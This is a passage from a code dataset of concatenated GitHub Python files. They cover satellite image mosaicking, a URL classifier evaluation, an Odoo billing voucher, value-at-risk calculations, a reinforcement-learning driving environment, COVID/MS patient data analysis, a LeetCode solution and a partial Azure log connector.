mode filter on the tracking array\n    if filter_tracking is True and multiple_images is True:\n        if verbose: print('Filtering tracking array..')\n\n        tracking_array = mode_filter(tracking_array, 7).astype('uint8')\n\n    # Feather the edges between joined images (ensure enough valid pixels are on each side..)\n    if feather is True and multiple_images is True:\n        feathers = {}\n        \n        print('Precalculating classification feathers..')\n        feather_rest = feather_s2_filter(master_scl, np.array([0, 1, 2, 3, 7, 8, 9, 10, 11], dtype='intc'), feather_scl).astype('float32')\n        feather_4 = feather_s2_filter(master_scl, np.array([4], dtype='intc'), feather_scl).astype('float32')\n        feather_5 = feather_s2_filter(master_scl, np.array([5], dtype='intc'), feather_scl).astype('float32')\n        feather_6 = feather_s2_filter(master_scl, np.array([6], dtype='intc'), feather_scl).astype('float32')\n\n        if verbose: print('Precalculating inter-layer feathers..')\n        for i in processed_images_indices:\n            feathers[str(i)] = feather_s2_filter(tracking_array, np.array([i], dtype='intc'), feather_dist).astype('float32')\n\n    if match_mean is True and feather is False and len(processed_images_indices) > 1:\n        mask_4 = (master_scl == 4)\n        mask_5 = (master_scl == 5)\n        mask_6 = (master_scl == 6)\n        mask_rest = (master_scl != 4) & (master_scl != 5) & (master_scl != 6)\n\n    bands_to_output = ['B02', 'B03', 'B04', 'B08']\n    if verbose: print('Merging band data..')\n    for band in bands_to_output:\n        if verbose: print(f'Writing: {band}..')\n        base_image = raster_to_array(metadata[0]['path']['10m'][band]).astype('float32')\n\n        for i in processed_images_indices:\n\n            if match_mean and len(processed_images_indices) > 1:\n                src_med = metadata[i]['stats'][band]['src_median']\n                src_med_4 = metadata[i]['stats'][band]['src_median_4']\n                src_med_5 = metadata[i]['stats'][band]['src_median_5']\n                src_med_6 = metadata[i]['stats'][band]['src_median_6']\n\n                src_mad = metadata[i]['stats'][band]['src_madstd']\n                src_mad_4 = metadata[i]['stats'][band]['src_madstd_4']\n                src_mad_5 = metadata[i]['stats'][band]['src_madstd_5']\n                src_mad_6 = metadata[i]['stats'][band]['src_madstd_6']\n\n                target_med = metadata[i]['stats'][band]['target_median']\n                target_med_4 = metadata[i]['stats'][band]['target_median_4']\n                target_med_5 = metadata[i]['stats'][band]['target_median_5']\n                target_med_6 = metadata[i]['stats'][band]['target_median_6']\n\n                target_mad = metadata[i]['stats'][band]['target_madstd']\n                target_mad_4 = metadata[i]['stats'][band]['target_madstd_4']\n                target_mad_5 = metadata[i]['stats'][band]['target_madstd_5']\n                target_mad_6 = metadata[i]['stats'][band]['target_madstd_6']\n\n            if i == 0:\n                if match_mean and len(processed_images_indices) > 1:\n                    dif = base_image - src_med\n                    dif_4 = base_image - src_med_4\n                    dif_5 = base_image - src_med_5\n                    dif_6 = base_image - src_med_6\n\n                    if feather is True and len(processed_images_indices) > 1:\n                        base_image = (((dif * target_mad) / src_mad) + target_med) * feather_rest\n                        base_image = np.add(base_image, (((dif_4 * target_mad_4) / src_mad_4) + target_med_4) * feather_4)\n                        base_image = np.add(base_image, (((dif_5 * target_mad_5) / src_mad_5) + target_med_5) * feather_5)\n                        base_image = np.add(base_image, (((dif_6 * target_mad_6) / src_mad_6) + target_med_6) * feather_6)\n\n                    else:\n                        base_image_rest = ((dif * target_mad) / src_mad) + target_med\n                        base_image_4 = ((dif_4 * target_mad_4) / src_mad_4) + target_med_4\n                        base_image_5 = ((dif_5 * target_mad_5) / src_mad_5) + target_med_5\n                        base_image_6 = ((dif_6 * target_mad_6) / src_mad_6) + target_med_6\n\n                        base_image = np.where(mask_rest, base_image_rest, base_image)\n                        base_image = np.where(mask_4, base_image_4, base_image)\n                        base_image = np.where(mask_5, base_image_5, base_image)\n                        base_image = np.where(mask_6, base_image_6, base_image)\n                \n                    base_image = np.where(base_image >= 0, base_image, 0)\n\n                if feather is True and len(processed_images_indices) > 1:\n                    base_image = base_image * feathers[str(i)]\n\n            else:\n                add_band = raster_to_array(metadata[i]['path']['10m'][band]).astype('float32')\n                \n                if match_mean:       \n                    dif = add_band - src_med\n                    dif_4 = add_band - src_med_4\n                    dif_5 = add_band - src_med_5\n                    dif_6 = add_band - src_med_6\n                    \n                    if feather is True:\n                        add_band = (((dif * target_mad) / src_mad) + target_med) * feather_rest\n                        add_band = np.add(add_band, (((dif_4 * target_mad_4) / src_mad_4) + target_med_4) * feather_4)\n                        add_band = np.add(add_band, (((dif_5 * target_mad_5) / src_mad_5) + target_med_5) * feather_5)\n                        add_band = np.add(add_band, (((dif_6 * target_mad_6) / src_mad_6) + target_med_6) * feather_6)\n                    else:             \n                        add_band_rest = ((dif * target_mad) / src_mad) + target_med\n                        add_band_4 = ((dif_4 * target_mad_4) / src_mad_4) + target_med_4\n                        add_band_5 = ((dif_5 * target_mad_5) / src_mad_5) + target_med_5\n                        add_band_6 = ((dif_6 * target_mad_6) / src_mad_6) + target_med_6\n                        \n                        add_band = np.where(mask_rest, add_band_rest, add_band)\n                        add_band = np.where(mask_4, add_band_4, add_band)\n                        add_band = np.where(mask_5, add_band_5, add_band)\n                        add_band = np.where(mask_6, add_band_6, add_band)\n                    \n                    add_band = np.where(add_band >= 0, add_band, 0)\n\n                if feather is True:\n                    base_image = np.add(base_image, (add_band * feathers[str(i)]))\n                else:\n                    base_image = np.where(tracking_array == i, add_band, base_image).astype('float32')\n\n        array_to_raster(np.rint(base_image).astype('uint16'), reference_raster=best_image['path']['10m'][band], out_raster=os.path.join(out_dir, f\"{band}_{out_name}.tif\"), dst_projection=dst_projection)\n\n    if verbose: print(f'Completed mosaic in: {round((time() - start_time) / 60, 1)}m')\n","repo_name":"victor-m-olsen/yellow","sub_path":"examples/mosaic_tool.py","file_name":"mosaic_tool.py","file_ext":"py","file_size_in_byte":32821,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"7838160464","text":"from config import get_arguments\nfrom load_data import LoadData\nfrom model import FastText, get_classifier\nfrom utils import get_one_hot_labels\nimport pandas as pd\nimport pickle\nfrom sklearn.metrics import accuracy_score\nimport numpy as np\n\n\ndef load_test_data(config):\n    \"\"\"\n    load test data from config.\n    \"\"\"\n    load_instance = LoadData.load(config.preprocessing_class_path)\n    if config.preprocess:\n        load_instance.df_data = pd.read_csv(config.path_test_data)\n        df_test = load_instance.preprocess()\n        return df_test\n    else:\n        config.n_classes = load_instance.config.n_classes\n        df = pd.read_csv(config.path_test_data)\n        df[\"labels\"] = df[\"labels\"].apply(eval)\n        return df\n\n\ndef get_IoU_score(y_test, predictions):\n    \"\"\"\n    give a target list y_test and the predictions of the multilabel classifier  ,\n    this function returns the IoU score.\n    \"\"\"\n    score = 0\n    for target, pred in zip(y_test, predictions):\n        target_ones = np.where(target == 1)[0]\n        pred_ones = np.where(np.array(pred) == 1)[0]\n        current_score = len(\n            set(target_ones).intersection(set(pred_ones))\n        ) / len(set(target_ones).union(set(pred_ones)))\n        score += current_score\n\n    return score / len(y_test)\n\n\nif __name__ == \"__main__\":\n    parser = get_arguments()\n    config = parser.parse_args()\n    df_test = load_test_data(config)\n    fast_text = FastText(config, df_test)\n    X_test = fast_text.get_embeddings()\n    y_test = get_one_hot_labels(df_test, config)\n\n    # load classifer\n    classifier = pickle.load(open(config.model_path, \"rb\"))\n    print('generating predictions ...')\n    predictions = classifier.predict(X_test)\n    print(\"Exact accuracy is {}\".format(accuracy_score(y_test, predictions)))\n    print(\"IoU metric score is {}\".format(get_IoU_score(y_test, predictions)))\n","repo_name":"HamzaG737/multi-label-URL-classification","sub_path":"eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":1862,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"23705155052","text":"# -*- coding: utf-8 -*-\nfrom openerp import fields, models, api\n\n\nclass AccountVoucher(models.Model):\n\n    _inherit = \"account.voucher\"\n\n    billing_id = fields.Many2one(\n        'account.billing',\n        string='Billing Ref',\n        domain=[('state', '=', 'billed'), ('payment_id', '=', False)],\n        readonly=True,\n        states={'draft': [('readonly', False)]})\n\n    @api.multi\n    def proforma_voucher(self):\n        for rec in self:\n            # Write payment id back to Billing Document\n            if rec.billing_id:\n                rec.billing_id.write({'payment_id': rec.id,\n                                      'state': 'billed'})\n        return super(AccountVoucher, self).proforma_voucher()\n\n    @api.multi\n    def cancel_voucher(self):\n        for rec in self:\n            # Set payment_id in Billing back to False\n            if rec.billing_id:\n                rec.billing_id.payment_id = False\n        return super(AccountVoucher, self).cancel_voucher()\n\n    def onchange_billing_id(self, cr, uid, ids, partner_id, journal_id,\n                            amount, currency_id, ttype, date, context=None):\n        if not partner_id or not journal_id:\n            return {}\n        res = self.recompute_voucher_lines(cr, uid, ids, partner_id,\n                                           journal_id, amount, currency_id,\n                                           ttype, date, context=context)\n        vals = self.recompute_payment_rate(cr, uid, ids, res, currency_id,\n                                           date, ttype, journal_id,\n                                           amount)\n        for key in vals.keys():\n            res[key].update(vals[key])\n        if ttype == 'sale':\n            del(res['value']['line_dr_ids'])\n            del(res['value']['pre_line'])\n            del(res['value']['payment_rate'])\n        elif ttype == 'purchase':\n            del(res['value']['line_cr_ids'])\n            del(res['value']['pre_line'])\n            del(res['value']['payment_rate'])\n        if context.get('billing_id', False):\n            bill_obj = self.pool.get('account.billing')\n            billing = bill_obj.browse(cr, uid, context.get('billing_id'))\n            res['value'].update({'amount': billing.billing_amount})\n        return res\n\n    def finalize_voucher_move_lines(self, cr, uid, ids, account_move_lines,\n                                    partner_id, journal_id, price,\n                                    currency_id, ttype, date, context=None):\n\n        super(AccountVoucher, self).finalize_voucher_move_lines(\n            cr, uid, ids, account_move_lines,\n            partner_id, journal_id, price,\n            currency_id, ttype, date, context=None)\n\n        if context is None:\n            context = {}\n\n        # Rewrite code from get account type.\n        account_type = None\n        if context.get('account_id'):\n            account_type = self.pool['account.account'].browse(\n                cr, uid,\n                context['account_id'],\n                context=context).type\n        if ttype == 'payment':\n            if not account_type:\n                account_type = 'payable'\n        else:\n            if not account_type:\n                account_type = 'receivable'\n\n        move_line_pool = self.pool.get('account.move.line')\n        if not context.get('move_line_ids', False):\n            billing_id = context.get('billing_id', False)\n            if billing_id > 0:\n                billing_obj = self.pool.get('account.billing')\n                billing = billing_obj.browse(cr, uid,\n                                             billing_id, context=context)\n                ids = move_line_pool.search(\n                    cr, uid, [\n                        ('state', '=', 'valid'),\n                        ('account_id.type', '=', account_type),\n                        ('reconcile_id', '=', False),\n                        ('partner_id', '=', partner_id),\n                        ('id', 'in', [\n                            line.reconcile and\n                            line.move_line_id.id or\n                            False\n                            for line in billing.line_cr_ids])\n                    ], context=context)\n            else:  # -- ecosoft\n                ids = move_line_pool.search(\n                    cr, uid, [\n                        ('state', '=', 'valid'),\n                        ('account_id.type', '=', account_type),\n                        ('reconcile_id', '=', False),\n                        ('partner_id', '=', partner_id)],\n                    context=context)\n        else:\n            ids = context['move_line_ids']\n        # Or the lines by most old first\n        ids.reverse()\n        account_move_lines = move_line_pool.browse(\n            cr, uid, ids, context=context)\n\n        return account_move_lines\n\n\nclass AccountVoucherLine(models.Model):\n    _inherit = \"account.voucher.line\"\n\n    reference = fields.Char(\n        string='Invoice Reference',\n        size=64,\n        help=\"The partner reference of this invoice.\")\n","repo_name":"ecosoft-odoo/pb2_addons","sub_path":"account_billing/models/account_voucher.py","file_name":"account_voucher.py","file_ext":"py","file_size_in_byte":5029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"20529989311","text":"import numpy as np\nimport pandas as pd\nimport random\nfrom scipy.stats import norm\n\ndef historical_var(returns, confidence_level):\n    # Calculate the historical value-at-risk\n    var = np.percentile(returns, 100 - confidence_level * 100)\n    return var\n\ndef monte_carlo_var(returns, confidence_level, simulations):\n    # Generate random returns using Monte Carlo simulation\n    simulated_returns = []\n    for i in range(simulations):\n        simulated_return = random.choices(returns, k=len(returns))\n        simulated_returns.append(simulated_return)\n        \n    # Calculate the mean of each simulated return\n    mean_simulated_returns = [np.mean(returns) for returns in simulated_returns]\n\n    # Calculate the value-at-risk using the mean of the simulated returns\n    var = np.percentile(mean_simulated_returns, 100 - confidence_level * 100)\n    return var\n\ndef parametric_volatility_var(returns, confidence_level):\n    # Calculate the mean and standard deviation of the returns using EWMA\n    mean = returns[0]\n    stddev = 0\n    for i in range(1, len(returns)):\n        mean = decay_factor * mean + (1 - decay_factor) * returns[i]\n        stddev = np.sqrt(decay_factor * stddev**2 + (1 - decay_factor) * (returns[i] - mean)**2)\n\n    # Calculate the z-score for the confidence level\n    z_score = norm.ppf(confidence_level)\n\n    # Calculate the value-at-risk using the mean and standard deviation of the returns\n    var = mean - z_score * stddev\n\n    return var\n\ndef risk_management(positions, returns, confidence_level, max_risk, method, simulations=1000):\n    if method == \"historical\":\n        # Calculate the historical value-at-risk\n        var = historical_var(returns, confidence_level)\n    elif method == \"monte_carlo\":\n        # Calculate the Monte Carlo value-at-risk\n        var = monte_carlo_var(returns, confidence_level, simulations)\n    elif method == \"parametric_volatility\":\n        # Calculate the parametric volatility value-at-risk\n        var = parametric_volatility_var(returns, confidence_level)\n    else:\n        raise ValueError(\"Invalid method specified\")\n\n    # Calculate the portfolio value\n    portfolio_value = positions.sum()\n\n    # Calculate the maximum allowed risk\n    max_allowed_risk = portfolio_value * max_risk\n\n    # Check if the calculated value-at-risk exceeds the maximum allowed risk\n    if var > max_allowed_risk:\n        # Scale down the positions to meet the maximum risk constraint\n        scale_factor = max_allowed_risk / var\n        scaled_positions = positions * scale_factor\n        return scaled_positions\n    else:\n        # Return the original positions if the value-at-risk is within bounds\n        return positions\n\n# Load the returns data into a pandas DataFrame\nreturns = pd.read_csv(\"returns.csv\")\n\n# Convert the returns data into a numpy array\nreturns = returns[\"returns\"].values\n\n# Define the positions in the portfolio\npositions = np.array([100, 200, 300, 400])\n# Define the confidence level\nconfidence_level = 0.95\n\n# Define the maximum allowed risk as a fraction of portfolio value\nmax_risk = 0.1\n\n# Define the method for calculating value-at-risk\nmethod1 = \"historical\"\nmethod2 = \"monte_carlo\"\nmethod3 = \"parametric_volatility\"\n\n# Apply the risk management model\nscaled_positions_1 = risk_management(positions, returns, confidence_level, max_risk, method1)\nscaled_positions_2 = risk_management(positions, returns, confidence_level, max_risk, method2)\nscaled_positions_3 = risk_management(positions, returns, confidence_level, max_risk, method3)\n\n# Print results\nprint(\"Scaled positions in historical VaR:\", scaled_positions_1)\nprint(\"Scaled positions in Monte Carlo VaR:\", scaled_positions_2)\nprint(\"Scaled positions in Parametric Volatility VaR:\", scaled_positions_3)\n","repo_name":"max870701/Quantitative-Trading-System","sub_path":"RiskManagement.py","file_name":"RiskManagement.py","file_ext":"py","file_size_in_byte":3739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71383216102","text":"import math\nimport random\nimport socket\nfrom collections import deque\nfrom struct import pack, unpack\nimport typing\n\nimport numpy as np\n\nimport cv2\n\ndef preprocess_image(camera_image: np.ndarray) -> np.ndarray:\n\n    #print('camera image shape', camera_image.shape)\n\n    frame = camera_image\n    frame = cv2.flip(frame, 0)\n    #frame = cv2.flip(frame, 1)\n\n    # ignore pixels too far away\n    #frame[int(len(frame)/1.5):,:] = 0\n\n    lower = np.array([160])#np.array([0,0,150])\n    upper = np.array([255])#np.array([255,255,255])\n    # Threshold the HSV image to get only blue colors\n\n    #test = cv2.GaussianBlur(rgb, (3, 3), 0)\n    mask = cv2.inRange(frame, lower, upper)\n    # Bitwise-AND mask and original image\n    res = cv2.bitwise_and(frame,frame, mask= mask)\n\n    return res\n\nclass Action:\n\n    COUNT = 9\n\n    def __init__(self, vertical: int, horizontal: int):\n        if vertical > 1 or vertical < -1:\n            raise ValueError('Vertical must be -1, 0 or 1')\n        if horizontal > 1 or horizontal < -1:\n            raise ValueError('Horizontal must be -1, 0 or 1')\n        self.vertical = vertical\n        self.horizontal = horizontal\n\n    @classmethod\n    def from_code(cls, code: int):\n        return cls(code // 3 - 1, code % 3 - 1)\n\n    @classmethod\n    def random(cls):\n        return cls(random.randrange(3) - 1, random.randrange(3) - 1)\n\n    def get_code(self) -> int:\n        return (self.vertical + 1) * 3 + self.horizontal + 1\n\n\nclass LeftRightAction(Action):\n\n    COUNT = 3\n\n    def __init__(self, horizontal: int):\n        super().__init__(1, horizontal)\n\n    @classmethod\n    def from_code(cls, code: int):\n        return cls(code - 1)\n\n    @classmethod\n    def random(cls):\n        return cls(random.randrange(3) - 1)\n\n    def get_code(self) -> int:\n        return self.horizontal + 1\n\n\nclass State:\n\n    def __init__(self, data: np.ndarray, is_terminal: bool):\n\n        \n        # image = data[:,:,:-1]\n        #cv2.imwrite('b.png', data[:,:,:-1])\n        data.setflags(write=1)\n\n        for i in range(0,4):\n            image = data[:,:,i]\n            preprocessed_image = preprocess_image(image)\n            data[:,:,i] = preprocessed_image\n        # cv2.imwrite('0.png', data[:,:,0])\n        # cv2.imwrite('1.png', data[:,:,1])\n        # cv2.imwrite('2.png', data[:,:,2])\n        # cv2.imwrite('3.png', data[:,:,3])\n        data.setflags(write=0)\n        #cv2.imshow('b', data[:,:,:-1])\n        #cv2.waitKey(0);\n        #self.data =self.data.astype(np.float32) / 255\n        #self.data = (self.data - np.mean(self.data)) / np.std(self.data, ddof=1)\n        # Convert to 0 - 1 ranges\n        self.data = (data.astype(np.float32) - 128) / 128\n        # Z-normalize\n        #self.data = (self.data - np.mean(self.data)) / np.std(self.data, ddof=1)\n        # Add channel dimension\n        if len(self.data.shape) < 3:\n            self.data = np.expand_dims(self.data, axis=2)\n        self.is_terminal = is_terminal\n\n    def _preprocess_image(self, camera_image: np.ndarray) -> np.ndarray:\n\n        #print('camera image shape', camera_image.shape)\n\n        frame = camera_image\n        #frame = cv2.flip(frame, 0)\n        frame = cv2.flip(frame, 1)\n        cv2.imshow('b',frame)\n        cv2.waitKey(0)\n\n        # ignore pixels too far away\n        #frame[int(len(frame)/1.5):,:] = 0\n\n        lower = np.array([160])#np.array([0,0,150])\n        upper = np.array([255])#np.array([255,255,255])\n        # Threshold the HSV image to get only blue colors\n\n        #test = cv2.GaussianBlur(rgb, (3, 3), 0)\n        mask = cv2.inRange(frame, lower, upper)\n        # Bitwise-AND mask and original image\n        res = cv2.bitwise_and(frame,frame, mask= mask)\n\n        cv2.imshow('a',res)\n        cv2.waitKey(0)\n\n        return res\n\nclass StateBare:\n    def __init__(self, data, is_terminal):\n        self.data = data\n        self.is_terminal = is_terminal\n\ndef sigmoid(x: float) -> float:\n    return 1 / (1 + math.exp(-x))\n\n\nclass StateAssembler:\n\n    FRAME_COUNT = 4\n\n    def __init__(self):\n        self.cache = deque(maxlen=self.FRAME_COUNT)\n\n    def assemble_next(self, camera_image: np.ndarray, is_terminal: bool) -> State:\n        self.cache.append(camera_image)\n        # If cache is still empty, put this image in there multiple times\n        while len(self.cache) < self.FRAME_COUNT:\n            self.cache.append(camera_image)\n        images = np.stack(self.cache, axis=2)\n        return State(images, is_terminal)\n\n\nclass EnvironmentInterface:\n\n    REQUEST_READ_SENSORS = 1\n    REQUEST_WRITE_ACTION = 2\n\n    def __init__(self, host: str, port: int):\n        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.socket.connect((host, port))\n        self.assembler = StateAssembler()\n\n    @staticmethod\n    def _calc_reward(disqualified: bool, finished: bool, velocity: float) -> float:\n        print(disqualified, finished, velocity)\n        if disqualified:\n            return -10\n        return velocity\n\n    def read_sensors(self, width: int, height: int) -> (State, int):\n        request = pack('!bii', self.REQUEST_READ_SENSORS, width, height)\n        self.socket.sendall(request)\n\n        # Response size: disqualified, finished, velocity, camera_image\n        response_size = width * height + 2 + 4\n        response_buffer = bytes()\n        while len(response_buffer) < response_size:\n            response_buffer += self.socket.recv(response_size - len(response_buffer))\n\n        disqualified, finished, velocity = unpack('!??i', response_buffer[:6])\n        # Velocity is encoded as x * 2^64\n        velocity /= 0xffffff\n        camera_image = np.frombuffer(response_buffer[6:], dtype=np.uint8)\n        camera_image = np.reshape(camera_image, (height, width), order='C')\n\n        #print('cam SHAPE', camera_image.shape)\n\n        reward = self._calc_reward(disqualified, finished, velocity)\n        ##### PLACE\n        camera_image.setflags(write=1)\n        state = self.assembler.assemble_next(preprocess_image(camera_image), disqualified or finished)\n\n        #cv2.imwrite('b.png', preprocess_image(camera_image))\n\n        return state, reward\n\n    def write_action(self, action: Action):\n        request = pack('!bii', self.REQUEST_WRITE_ACTION, action.vertical, action.horizontal)\n        self.socket.sendall(request)\n\n    def _preprocess_image(self, camera_image: np.ndarray) -> np.ndarray:\n\n        #print('camera image shape', camera_image.shape)\n\n        frame = camera_image\n        #frame = cv2.flip(frame, 0)\n        frame = cv2.flip(frame, 1)\n\n        # ignore pixels too far away\n        #frame[int(len(frame)/1.5):,:] = 0\n\n        lower = np.array([160])#np.array([0,0,150])\n        upper = np.array([255])#np.array([255,255,255])\n        # Threshold the HSV image to get only blue colors\n\n        #test = cv2.GaussianBlur(rgb, (3, 3), 0)\n        mask = cv2.inRange(frame, lower, upper)\n        # Bitwise-AND mask and original image\n        res = cv2.bitwise_and(frame,frame, mask= mask)\n\n        return res\n\n        # print('camera image shape', camera_image.shape)\n\n        # lower_blue = np.array([200])\n        # upper_blue = np.array([255])\n\n        # rows,cols = camera_image.shape\n        # M = cv2.getRotationMatrix2D((cols/2,rows/2),180,1)\n        # camera_image = cv2.warpAffine(camera_image,M,(cols,rows))\n\n        # return camera_image\n\n        # mask = cv2.inRange(camera_image, lower_blue, upper_blue)\n        # res = cv2.bitwise_and(camera_image,camera_image, mask= mask)\n\n        # kernel = np.ones((3,3),np.uint8)\n        # dilation = cv2.dilate(res,kernel,iterations = 1)\n        # dilation = cv2.GaussianBlur(dilation, (3, 3), 5)\n\n        # edges = cv2.Canny(dilation,50,150)\n\n        # lines = cv2.HoughLines(edges,1,np.pi/180,25)\n\n        # sum_rho = 0\n        # sum_theta = 0\n        # if lines is not None:\n        #     for rho,theta in lines[0]:\n        #         sum_rho += rho\n        #         sum_theta += theta\n        # else:\n        #     return np.array([0,0])\n\n        # sum_rho /= len(lines[0])\n        # sum_theta /= len(lines[0])\n\n        # return np.array([sum_rho, sum_theta])","repo_name":"Alarnti/CarDriving","sub_path":"rl-race-learning/racelearning/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":8086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30894978863","text":"from back_mobile.response_data_types.product.store_link import StoreLink\nfrom utils.url_provider import URLProvider\nfrom utils.api_utils.test_request import TestRequest\n\n\nclass GetStoreLink(TestRequest):\n    def __init__(self, context):\n        super().__init__(\n            URLProvider().url(\"back_mobile\", \"api/v1/mobile/product/store/1\"),\n            \"get\",\n            data_type=StoreLink,\n            headers=context.auth_token()\n        )\n","repo_name":"Bobur-oiligarh/autotests","sub_path":"back_mobile/requests/product/get_store_link.py","file_name":"get_store_link.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73009498660","text":"import pandas as pd\ndf = pd.read_csv(\"./Data/example_data.csv\")\n\n### Suspected COVID19 ( symptoms)\n\npatients_with_covid19 = df.loc[((df.covid19_has_symptoms==\"yes\") | (df.covid19_suspected_case == \"yes\"))][\"secret_name\"]\nprint(f\"Number of patients with covid : {patients_with_covid19.shape[0]}\")\n\npatients_confirmed = df.loc[df.covid19_confirmed_case==\"yes\"]\nprint(f\"Number of CONFIRMED patients with covid : {patients_confirmed.shape[0]}\")\n\n### Type of MS\n\nprint(\"Number of patients per MS Type : \")\nprint(df.groupby(\"ms_type\").count()[\"secret_name\"])\n\n### Number of different countries\n\nunique_countries = df[\"covid19_country\"].nunique()\nprint(f\"Number of unique countries : {unique_countries}\")\nprint(\"Number of patients per country : \")\nprint(df.groupby(\"covid19_country\").count()[\"secret_name\"])\n\n### Counts of patients ( treated - non treated - never treated)\nprint(\"Counts of patients : \")\nprint(df.groupby(\"current_dmt\")[\"secret_name\"].count())\n\n### Subset of treated patients\n\nprint(\"Subset of treated patients : \")\ncurrent_dmt = df.loc[df.current_dmt==\"yes\"].groupby(\"type_dmt\").count().copy()\n\nprint(current_dmt.sort_values(\"current_dmt\",ascending=False)[\"secret_name\"])\n\nimport matplotlib.pyplot as plt\n\nlabels = current_dmt.index\nsizes = current_dmt.current_dmt.values\n#colors = ['yellowgreen', 'gold', 'lightskyblue', 'lightcoral']\nplt.pie(sizes, shadow=True, autopct='%1.1f%%', startangle=90)\nplt.legend( labels, bbox_to_anchor=(0.8, 1.05))\nplt.axis('equal')\nplt.tight_layout()\nplt.title(\"Repartition of patients currently treated\")\nplt.savefig('Repartition of patients currently treated.pdf')\nplt.show(block=True)\n\n\n### Subset of previously treated patients\n\nprint(\"Subset of previously treated patients : \")\nlast_dmt = df.loc[df.current_dmt==\"no\"].groupby(\"type_dmt\").count().copy() # no is \"no but was in the past\"\nprint(last_dmt.sort_values(\"current_dmt\",ascending=False)[\"secret_name\"])\n\nlabels = last_dmt.index\nsizes = last_dmt.current_dmt.values\n#colors = ['yellowgreen', 'gold', 'lightskyblue', 'lightcoral']\nplt.pie(sizes, shadow=True, autopct='%1.1f%%', startangle=90)\nplt.legend( labels, bbox_to_anchor=(0.8, 1.05))\nplt.axis('equal')\nplt.tight_layout()\nplt.title(\"Repartition of patients treated in the past but not currently treated\")\nplt.savefig(\"Repartition of patients treated in the past but not currently treated.pdf\")\nplt.show(block=True)\n","repo_name":"ashkan-pirmani/FederatedPy","sub_path":"Federated.py","file_name":"Federated.py","file_ext":"py","file_size_in_byte":2372,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"36205838098","text":"'''\nYou are given two integer arrays nums1 and nums2, sorted in non-decreasing order, and two integers m and n,\nrepresenting the number of elements in nums1 and nums2 respectively.\nMerge nums1 and nums2 into a single array sorted in non-decreasing order.\n\nExample 1:\nInput: nums1 = [1,2,3,0,0,0], m = 3, nums2 = [2,5,6], n = 3\nOutput: [1,2,2,3,5,6]\nExplanation: The arrays we are merging are [1,2,3] and [2,5,6].\nThe result of the merge is [1,2,2,3,5,6] with the underlined elements coming from nums1.\n'''\n\n\nclass Solution:\n    def merge(self, nums1, m, nums2, n) -> None:\n        i = j = 0\n        result = []\n        ##--- nums1 and nums2 have only one item in array;\n        if m < 1 and n < 1:\n            if nums1[0] < nums2[0]:\n                result.append(nums1[0])\n                result.append(nums2[0])\n            else:\n                result.append(nums2[0])\n                result.append(nums1[0])\n\n        else:\n            ## Elements of nums1 and nums2 are equal\n            while (i < m and j < n):\n                if nums1[i] != 0 and nums1[i] <= nums2[j]:\n                    result.append(nums1[i])\n                    i += 1\n                else:\n                    if nums2[j] != 0:\n                        result.append(nums2[j])\n                    j += 1\n\n            ## Elements of nums1 greater nums2;\n            if i < len(nums1):\n                while (i < len(nums1)):\n                    if nums1[i] != 0:\n                        result.append(nums1[i])\n                    i += 1\n\n            ## Elements of nums2 greater nums1;\n            if j < len(nums2):\n                while (j < len(nums2)):\n                    if nums2[j] != 0:\n                        result.append(nums2[j])\n                    j += 1\n\n            ## Update Reference nums1;\n            nums1.clear()\n            nums1.extend(result)\n\n\ndef main():\n    m = 3\n    n = 3\n    nums1 = [1, 2, 3, 0, 0, 0]\n    nums2 = [2, 5, 6]\n    obj = Solution()\n    obj.merge(nums1, m, nums2, n)\n    for x in nums1:\n        print(x, end=\" \")\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"neerajsinghjr/dsa","sub_path":"leetcode/Leetcode_Problems/LC_0088_Merge_two_sorted_array_(1).py","file_name":"LC_0088_Merge_two_sorted_array_(1).py","file_ext":"py","file_size_in_byte":2075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"23830745797","text":"import json\nfrom stix_shifter_utils.modules.base.stix_transmission.base_sync_connector import BaseSyncConnector\nfrom .api_client import APIClient\nfrom stix_shifter_utils.utils.error_response import ErrorResponder\nimport pandas as pd\nfrom stix_shifter_utils.utils import logger\nfrom azure.monitor.query import LogsQueryStatus\nfrom azure.core.exceptions import ODataV4Format\nfrom datetime import datetime, timedelta\nimport re\n\n\nclass Connector(BaseSyncConnector):\n\n    def __init__(self, connection, configuration):\n        \"\"\"Initialization.\n        :param connection: dict, connection dict\n        :param configuration: dict,config dict\"\"\"\n        self.logger = logger.set_logger(__name__)\n        self.connector = __name__.split('.')[1]\n        self.api_client = APIClient(connection, configuration)\n\n    async def ping_connection(self):\n        \"\"\"Ping the endpoint.\"\"\"\n        return_obj = dict()\n        response = await self.api_client.ping_box()\n        response_code = response.code\n        try:\n            response_dict = json.loads(response.read())\n        except:\n            response_dict = json.loads(response.bytes)\n        \n        if 200 <= response_code < 300: \n            return_obj['success'] = True\n        elif response_code == 404:\n            error_dict = {\"error\": response_dict['error']['message'], \"code\": response_dict['error']['code']}\n            ErrorResponder.fill_error(return_obj, error_dict, ['error', 'message'], connector=self.connector)\n        else:\n            ErrorResponder.fill_error(return_obj, response_dict, ['error', 'message'], connector=self.connector)\n\n        return return_obj\n\n    async def delete_query_connection(self, search_id):\n        \"\"\"\"delete_query_connection response\n        :param search_id: str, search_id\"\"\"\n        return {\"success\": True, \"search_id\": search_id}\n\n    async def create_results_connection(self, query, offset, length):\n        \"\"\"\"built the response object\n        :param query: str, search_id\n        :param offset: int,offset value\n        :param length: int,length value\"\"\"\n        length = int(length)\n        offset = int(offset)\n        return_obj = dict()\n        query = \"\"\"{query} | serialize rn = row_number() | where rn >= {offset} | limit {len}\"\"\".format(query=query,\n                                                                                                        offset=offset,\n                                                                                                        len=length)\n        matches = 